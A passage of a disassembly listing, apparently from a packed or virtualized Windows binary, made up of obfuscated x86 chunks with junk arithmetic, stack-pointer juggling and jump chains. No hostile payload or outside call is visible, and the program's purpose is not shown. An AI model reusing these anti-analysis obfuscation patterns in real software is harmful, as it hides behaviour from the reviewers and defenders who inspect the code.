; FUNCTION CHUNK AT 0059E81A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059F4FD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059F5EE SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0059FD0E SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0059FFF9 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A0341 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005A0700 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A105B SIZE 00000041 BYTES
; FUNCTION CHUNK AT 005A11D8 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 005A17F9 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A1C9D SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005A1EBD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A20BE SIZE 0000002D BYTES
; FUNCTION CHUNK AT 005A2429 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A24F5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A2EB8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A36A4 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A3F87 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A4462 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A4F41 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A62B8 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A69C0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A6BF5 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A74F4 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A7D75 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A814F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A816D SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A90A3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A91DD SIZE 00000032 BYTES
; FUNCTION CHUNK AT 005A9F12 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 005AAA60 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AAF22 SIZE 00000045 BYTES
; FUNCTION CHUNK AT 005AB018 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AB44D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005AC174 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AC1A4 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AE763 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005AF511 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005AFD4A SIZE 00000015 BYTES

		push	ebx
		push	edx
		mov	dh, 0ECh
		jmp	loc_5AFD4A
sub_5A0FFF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B95E


loc_5A1008:				; CODE XREF: sub_59B95E+8j
		mov	[esp+4+var_4], edx
		mov	edx, esp
		jmp	loc_5AD5C8
; END OF FUNCTION CHUNK	FOR sub_59B95E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5A1012:				; CODE XREF: sub_59EE3E+ABC7j
		push	eax
		mov	eax, 74370837h
		sub	eax, 58B1D5F9h
		mov	ebx, eax
		jmp	loc_5AFBAB
; END OF FUNCTION CHUNK	FOR sub_59EE3E

; =============== S U B	R O U T	I N E =======================================



sub_5A1024	proc near		; DATA XREF: sdfs____:00598F18o

arg_0		= dword	ptr  4

		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		adc	[esp-4+arg_0], eax
		pushf
		jmp	loc_59910F
sub_5A1024	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_5A1032:				; CODE XREF: sub_5B01F7-14CD3j
		sub	ecx, 5C8F57C6h
		jmp	loc_5ACB08
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7762


loc_5A103D:				; CODE XREF: sub_5A7762+7j
		pop	eax
		add	eax, 4
		jmp	loc_5A776E
; END OF FUNCTION CHUNK	FOR sub_5A7762
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A79BE


loc_5A1048:				; CODE XREF: sub_5A79BE+22D5j
		sub	esi, edi
		pop	edi
		xor	eax, esi
		pop	esi
		push	esi
		mov	esi, 0B763F1Dh
		sub	ecx, esi
		jmp	loc_5A8984
; END OF FUNCTION CHUNK	FOR sub_5A79BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_5A105B:				; CODE XREF: sub_5A0FFF-27DCj
		xchg	ebp, [esp+0Ah+var_C+2]
		mov	esp, [esp+0Ah+var_C+2]
		push	3B6Bh
		mov	[esp+0Eh+var_10+2], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		mov	ebp, [esp+0]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+16h+var_16]
		pop	esp
		xchg	ecx, [esp+0]
		pop	esp
		push	ebx
		push	ecx
		push	ebp
		push	0A315EAAh
		jmp	loc_5A4F41
; END OF FUNCTION CHUNK	FOR sub_5A0FFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AAF7A


loc_5A109C:				; CODE XREF: sub_5AAF7A-95D1j
		pop	ebp
		mov	edx, esi
		mov	esi, [esp+8+var_8]
		add	esp, 4
		push	ebx
		jmp	loc_5A7986
; END OF FUNCTION CHUNK	FOR sub_5AAF7A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B03B3


loc_5A10AB:				; CODE XREF: sub_5B03B3+Ej
		pop	ebp
		jmp	loc_59AAB8
; END OF FUNCTION CHUNK	FOR sub_5B03B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0AA2


loc_5A10B1:				; CODE XREF: sub_5A0AA2+A0FAj
		add	edx, 678ED3CDh
		add	ecx, edx
		pop	edx
		add	eax, 59726D4Ch
		push	ecx
		mov	ecx, 22221BD6h
		and	ecx, 410B1906h
		not	ecx
		push	ebx
		jmp	loc_599AEF
; END OF FUNCTION CHUNK	FOR sub_5A0AA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABFD8


loc_5A10D3:				; CODE XREF: sub_5ABFD8-425j
		mov	edx, 4
		add	esi, edx
		pop	edx
		sub	esi, 4
		jmp	loc_59C31D
; END OF FUNCTION CHUNK	FOR sub_5ABFD8

; =============== S U B	R O U T	I N E =======================================



sub_5A10E3	proc near		; DATA XREF: sdfs____:00598FF4o

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059D421 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059E7BA SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059FEE3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A132E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A1E80 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005A466D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A5B8C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A6219 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AB69E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AD4A7 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005ADD41 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005ADDD3 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AFF6D SIZE 00000021 BYTES

		push	3BE2h
		mov	[esp+4+var_4], ebx
		mov	ebx, 3Ch
		push	3CECh
		mov	[esp+8+var_8], ebp
		jmp	loc_59E7BA
sub_5A10E3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC803


loc_5A10FD:				; CODE XREF: sub_5AC803-14C8j
		pop	eax
		sub	al, 50h
		add	al, bh
		add	al, 50h
		jmp	loc_5A4CA5
; END OF FUNCTION CHUNK	FOR sub_5AC803
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB5A9


loc_5A1109:				; CODE XREF: sub_5AB5A9-BEF9j
		mov	esp, [esp+0Ch+var_C]
		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	ecx, 4
		jmp	loc_59E4AF
; END OF FUNCTION CHUNK	FOR sub_5AB5A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A18F6


loc_5A111F:				; CODE XREF: sub_5A18F6+1j
		mov	ebp, 7B127BE2h
		jmp	loc_5AC59C
; END OF FUNCTION CHUNK	FOR sub_5A18F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A1129:				; CODE XREF: sub_5AA2D1+1FB0j
		sub	ebx, edx
		mov	edx, [esp+14h+var_14]
		add	esp, 4
		push	78BDh
		mov	[esp+14h+var_14], ebx
		push	[esp+14h+var_10]
		pop	ebx
		pop	[esp+14h+var_14]
		jmp	loc_5AB04D
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A54C9


loc_5A1149:				; CODE XREF: sub_5A54C9+B8Dj
		not	ecx
		jmp	loc_5A1A99
; END OF FUNCTION CHUNK	FOR sub_5A54C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7BA0


loc_5A1150:				; CODE XREF: sub_5A7BA0+6E2Ej
		add	eax, 4
		push	eax
		push	[esp+8+var_4]
		mov	eax, [esp+0Ch+var_C]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5AED81
; END OF FUNCTION CHUNK	FOR sub_5A7BA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5AF2


loc_5A116E:				; CODE XREF: sub_5A5AF2-B3A8j
		sub	bl, al
		pop	eax
		add	bl, dh
		push	eax
		mov	ah, 94h
		dec	ah
		neg	ah
		add	ah, 1Bh
		jmp	loc_5ADAB0
; END OF FUNCTION CHUNK	FOR sub_5A5AF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA810


loc_5A1182:				; CODE XREF: sub_5AA810-32E1j
		jmp	loc_5A903E
; END OF FUNCTION CHUNK	FOR sub_5AA810
; ---------------------------------------------------------------------------


loc_5A1187:				; CODE XREF: sdfs____:005A5F60j
		add	esp, 4
		jmp	loc_59B14C

; =============== S U B	R O U T	I N E =======================================



sub_5A118F	proc near		; CODE XREF: sub_5A4D9D-F9Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0059AC4F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059C4D4 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059C6B0 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059DE46 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059E51B SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0059EEBC SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059F07F SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A0691 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A075F SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A0F01 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A151C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A162C SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A1718 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A1C35 SIZE 00000041 BYTES
; FUNCTION CHUNK AT 005A1E1F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A30FE SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A319D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A425F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A4545 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A62EC SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A692A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A6A46 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A8236 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005A915A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A9A6A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A9EA9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A9EDC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AB256 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005AB3E3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AB717 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005ABD5A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005ACA35 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005ACC6A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005ADD00 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005ADE28 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005AE8B3 SIZE 00000007 BYTES

		push	ebx
		push	eax
		mov	eax, 422807A4h
		shr	eax, 1
		push	edx
		jmp	loc_5AB3E3
sub_5A118F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5A119E	proc near		; DATA XREF: sdfs____:00598EE0o

; FUNCTION CHUNK AT 0059E2B9 SIZE 00000005 BYTES

		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp+0], ax
		pushf
		jmp	loc_59E2B9
sub_5A119E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE29C


loc_5A11AE:				; CODE XREF: sub_5AE29C-3829j
		ja	loc_5AF9C9
		shr	edx, 6
		jmp	loc_5ADB49
; END OF FUNCTION CHUNK	FOR sub_5AE29C
; ---------------------------------------------------------------------------
		mov	eax, edi
; START	OF FUNCTION CHUNK FOR sub_5AC803


loc_5A11BE:				; CODE XREF: sub_5AC803+3569j
		xor	edx, 10EA6D25h
		jb	loc_5A209B
		shr	edx, 8
		jnp	loc_5A44B6
		jmp	loc_5A3244
; END OF FUNCTION CHUNK	FOR sub_5AC803
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_5A11D8:				; CODE XREF: sub_5A0FFF+EC4j
		pop	esp
		mov	[esp+1Ah+var_1A], eax
		mov	eax, esp
		push	edx
		mov	edx, 10CF5A85h
		sub	edx, 10CF5A81h
		sub	eax, 34C546A9h
		add	eax, edx
		add	eax, 34C546A9h
		mov	edx, [esp+1Eh+var_1E]
		push	eax
		mov	eax, esp
		jmp	loc_5A90A3
; END OF FUNCTION CHUNK	FOR sub_5A0FFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_5A1201:				; CODE XREF: sub_5A6BBC+6522j
		push	edx
		push	29286C94h
		pop	edx
		add	edi, edx
		pop	edx
		add	edi, edx
		sub	edi, 29286C94h
		push	ebp
		jmp	loc_5ACDDA
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0AA2


loc_5A1219:				; CODE XREF: sub_5A0AA2-5BE9j
		mov	ecx, 6CF5110Fh
		jmp	loc_59EB39
; END OF FUNCTION CHUNK	FOR sub_5A0AA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B0266


loc_5A1223:				; CODE XREF: sub_5B0266-B9B5j
		add	eax, 4
		xchg	eax, [esp+8+var_8]
		pop	esp
		push	4CDh
		jmp	loc_5A58A5
; END OF FUNCTION CHUNK	FOR sub_5B0266
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F2D1


loc_5A1234:				; CODE XREF: sub_59F2D1-60A9j
		bts	[esp+0], ax
		pushf
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_59F2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A72CB


loc_5A123F:				; CODE XREF: sub_5A72CB-4C41j
		jns	loc_5A2183
		jmp	loc_5ABC3B
; END OF FUNCTION CHUNK	FOR sub_5A72CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B3C9


loc_5A124A:				; CODE XREF: sub_59B3C9-116Cj
		sub	ebx, 17BB57FFh
		add	ebx, edi
		add	ebx, 17BB57FFh
		pop	edi
		add	ebx, 4
		jmp	loc_599316
; END OF FUNCTION CHUNK	FOR sub_59B3C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9B1D


loc_5A1264:				; CODE XREF: sub_5A9B1D-A2E0j
		mov	edi, 3E9B16D1h
		and	ecx, edi
		jmp	loc_5A3E81
; END OF FUNCTION CHUNK	FOR sub_5A9B1D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_5A1270:				; CODE XREF: sub_59CBE1+64DAj
		neg	eax
		jmp	loc_5A7C5A
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5EFF


loc_5A1277:				; CODE XREF: sub_5A5EFF-B4C5j
		add	eax, ecx
		push	969h
		mov	[esp+0], ebx
		mov	ebx, 4B257F48h
		inc	ebx
		xor	ebx, 0B963968h
		sub	ebx, 5F3A7E3Ch
		jmp	loc_5A4505
; END OF FUNCTION CHUNK	FOR sub_5A5EFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5A1298:				; CODE XREF: sub_59EE3E+599Dj
		xor	ecx, 5E24F6ADh
		sub	ebx, ecx
		mov	ecx, [esp+8+var_8]
		jmp	loc_5ABAA8
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600D


loc_5A12A8:				; CODE XREF: sub_5A600D-69F0j
		push	ecx
		mov	cl, 0B8h
		jmp	loc_59A20B
; END OF FUNCTION CHUNK	FOR sub_5A600D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A12B0:				; CODE XREF: sub_5AA2D1+5C7Ej
		push	edi
		mov	edi, 35753909h
		shl	edi, 4
		and	edi, 1C4244B0h
		neg	edi
		dec	edi
		add	edi, 2AA0E76h
		add	edi, 2FDC445Fh
		sub	esi, edi
		pop	edi
		jmp	loc_5A9FCC
; ---------------------------------------------------------------------------


loc_5A12D6:				; CODE XREF: sub_5AA2D1-10F76j
		shr	ecx, 2
		not	ecx
		sub	ecx, 0C638BB3Ch
		jmp	loc_59F894
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_5A12E6	proc near		; CODE XREF: sub_59F1F3+84C1j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059BC76 SIZE 00000021 BYTES

		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	[esp+4+var_4]
		pop	esp
		jmp	loc_59BC76
sub_5A12E6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5A12F5	proc near		; CODE XREF: sub_5AA2D1+9B2j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005A08E1 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005A248B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A60B1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AFA76 SIZE 00000008 BYTES

		push	ebp
		push	2
		push	[esp+8+var_8]
		pop	ebp
		jmp	loc_5A248B
sub_5A12F5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_5A1304:				; CODE XREF: sub_5A2E28-9CC1j
		sub	esi, 470B5CBCh
		jp	loc_5A5EDE
		add	esi, 4606C15Bh
		mov	ebx, esi
		pop	esi
		add	ebx, eax
		mov	ecx, [ebx]
		pop	ebx


loc_5A131E:				; CODE XREF: sub_5A5824-1C2Bj
		xor	ebx, 0FAB7315Dh
		add	ecx, ebx
		pop	ebx
		add	ecx, edi
		jmp	loc_5A383E
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A10E3


loc_5A132E:				; CODE XREF: sub_5A10E3+CC62j
		pop	edx
		pop	ebx
		push	edi
		jmp	loc_5A5B8C
; END OF FUNCTION CHUNK	FOR sub_5A10E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5B27


loc_5A1336:				; CODE XREF: sub_5A5B27+7029j
		add	ebx, edi
		jmp	loc_5A2001
; END OF FUNCTION CHUNK	FOR sub_5A5B27
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A133D:				; CODE XREF: sub_5AA2D1-DB49j
		add	edx, 0FFFFFFFFh
		push	esi
		mov	esi, 0E51AD12Ch
		jmp	loc_5AE30B
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5A134B:				; CODE XREF: sub_5A477C+391Aj
		pop	edx
		xchg	edi, [esp+0]
		mov	esp, [esp+0]
		movsx	ecx, ax
		jmp	loc_59C803
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C1E9


loc_5A135A:				; CODE XREF: sub_59C1E9+CDFEj
		and	esi, edi
		pop	edi
		shl	esi, 2
		xor	esi, 0CC100414h
		add	ebx, esi
		pop	esi
		add	ebx, 4
		xchg	ebx, [esp+4+var_4]
		pop	esp
		jmp	loc_59AEE3
; END OF FUNCTION CHUNK	FOR sub_59C1E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3992


loc_5A1375:				; CODE XREF: sub_5A3992+923j
		sub	ebx, 201A02C9h
		push	6956h
		mov	[esp+0Ch+var_C], edi
		mov	edi, 3AE4021Ch
		jmp	loc_59B604
; END OF FUNCTION CHUNK	FOR sub_5A3992
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A138D:				; CODE XREF: sub_5AA2D1-36E8j
		push	edx
		jmp	loc_5A19BF
; ---------------------------------------------------------------------------


loc_5A1393:				; CODE XREF: sub_5AA2D1+2CE1j
		mov	ecx, esp
		jmp	loc_59B7CF
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_5A139A:				; CODE XREF: sub_5A2E28+30C7j
		mov	edi, esp
		push	ebx
		mov	ebx, 0BA14739h
		inc	ebx
		jmp	loc_59B165
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A479


loc_5A13A8:				; CODE XREF: sub_59A479:loc_5AB4ACj
		xor	eax, 4FEC8778h
		jmp	loc_5A793F
; END OF FUNCTION CHUNK	FOR sub_59A479
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A9E9


loc_5A13B2:				; CODE XREF: sub_59A9E9:loc_5ABFADj
		xor	edx, 0AC5DFB13h
		mov	esi, edx
		jmp	loc_5A2AEA
; END OF FUNCTION CHUNK	FOR sub_59A9E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5607


loc_5A13BF:				; CODE XREF: sub_5A5607-4D93j
		dec	esi
		xor	esi, 483D5DDDh
		add	edx, esi
		push	dword ptr [esp+0]
		jmp	loc_59DCA7
; END OF FUNCTION CHUNK	FOR sub_5A5607
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A63DC


loc_5A13D0:				; CODE XREF: sub_5A63DC+478j
		add	esp, 4
		add	esp, 4
		and	edx, 32773A5Ah
		jb	loc_5A529C
		add	edx, 1AAB65F2h
		not	edx
		push	240h
		mov	[esp+8+var_8], eax
		mov	eax, 5F692199h
		add	edx, eax
		mov	eax, [esp+8+var_8]
		add	esp, 4
		push	edx
		add	[esp+8+var_8], 6A1B7083h
		pop	ebp
		sub	ebp, 6A1B7083h
		pop	edx
		xor	eax, ebp
		push	dword ptr [esp+0]
		pop	ebp
		jmp	sub_5A6F9C
; END OF FUNCTION CHUNK	FOR sub_5A63DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E94B


loc_5A141D:				; CODE XREF: sub_59E94B+CC0Fj
		push	263E0B53h
		jmp	loc_59C566
; END OF FUNCTION CHUNK	FOR sub_59E94B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A1427:				; CODE XREF: sub_5AA2D1+2B51j
		push	ax
		jmp	loc_5A467E
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8CA3


loc_5A142E:				; CODE XREF: sub_5A8CA3+3j
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		xchg	ebp, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		jmp	sub_59BB19
; END OF FUNCTION CHUNK	FOR sub_5A8CA3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A1448:				; CODE XREF: sub_59C979+6B57j
		add	ebx, 4
		xchg	ebx, [esp+6+var_6]
		pop	esp
		push	ecx
		push	dword ptr [esp+6+var_2]
		jmp	loc_59C7CA
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD84A


loc_5A145C:				; CODE XREF: sub_5AD84A-10B6Aj
		neg	ebx
		jmp	loc_599CFB
; END OF FUNCTION CHUNK	FOR sub_5AD84A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A1463:				; CODE XREF: sub_5AA2D1-D06Ej
		add	ebx, 2
		jmp	loc_59EC18
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ED98


loc_5A146E:				; CODE XREF: sub_59ED98-C31j
		pop	ebx
		shl	dl, 4
		xor	dl, 0EDh
		xor	dl, 6Fh
		jmp	loc_5AEC4E
; END OF FUNCTION CHUNK	FOR sub_59ED98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3CF9


loc_5A147D:				; CODE XREF: sub_5A3CF9+13j
		mov	[esp+4+var_4], ebp
		push	4
		jmp	loc_59DDD7
; END OF FUNCTION CHUNK	FOR sub_5A3CF9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FB1A


loc_5A148A:				; CODE XREF: sub_59FB1A+2j
		mov	bl, 95h
		or	cl, bl
		jmp	loc_59D3DB
; END OF FUNCTION CHUNK	FOR sub_59FB1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADD33


loc_5A1493:				; CODE XREF: sub_5ADD33-71E0j
		add	eax, 58F71C6Dh
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		add	edx, eax
		jmp	loc_5A7F18
; END OF FUNCTION CHUNK	FOR sub_5ADD33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A14A8:				; CODE XREF: sub_5AA2D1-573Cj
		push	ecx
		push	[esp+14h+var_10]
		pop	ecx
		pop	[esp+14h+var_14]
		jmp	loc_5AFC7E
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADD33


loc_5A14B6:				; CODE XREF: sub_5ADD33-23D9j
		xchg	edi, [esp+0]
		pop	esp
		sub	esp, 4
		mov	[esp+0], eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp+4+var_4], ebp
		push	ebx
		mov	ebx, 7FE5AFAh
		or	ebx, 7C314295h
		jmp	loc_5A9F47
; END OF FUNCTION CHUNK	FOR sub_5ADD33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A14DC:				; CODE XREF: sub_5AA2D1-E8D3j
		mov	[esp+0], eax
		pop	esi
		jmp	loc_5A41EA
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7BA0


loc_5A14E5:				; CODE XREF: sub_5A7BA0-DB4Ej
		or	[edi+1Ch], edx
		jmp	loc_59D64C
; END OF FUNCTION CHUNK	FOR sub_5A7BA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A96D8


loc_5A14ED:				; CODE XREF: sub_5A96D8-CEF8j
		push	ecx
		mov	ecx, 6ABC578Dh
		mov	ebx, 5CDB681Eh
		xor	ebx, ecx
		mov	ecx, [esp+0Ch+var_C]
		add	esp, 4
		shl	ebx, 5
		shl	ebx, 7
		jmp	loc_5AED1F
